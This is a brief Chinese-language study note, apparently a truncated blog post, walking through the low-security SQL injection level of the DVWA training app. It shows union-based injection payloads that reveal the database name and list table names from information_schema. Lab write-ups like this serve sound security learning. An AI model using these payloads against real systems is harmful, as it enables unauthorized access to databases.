#筆記（二十八）#dvwa漏洞SQL Injection wp

SQL Injection low 查看源代碼，沒有過濾 用1試沒問題，1’不行，1’‘和1’#都沒問題 先試一下爆庫1’ union select 1,database()#，可以看到有回顯，目前數據庫dvwa 爆表 1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#，能看到

>>阅读原文<<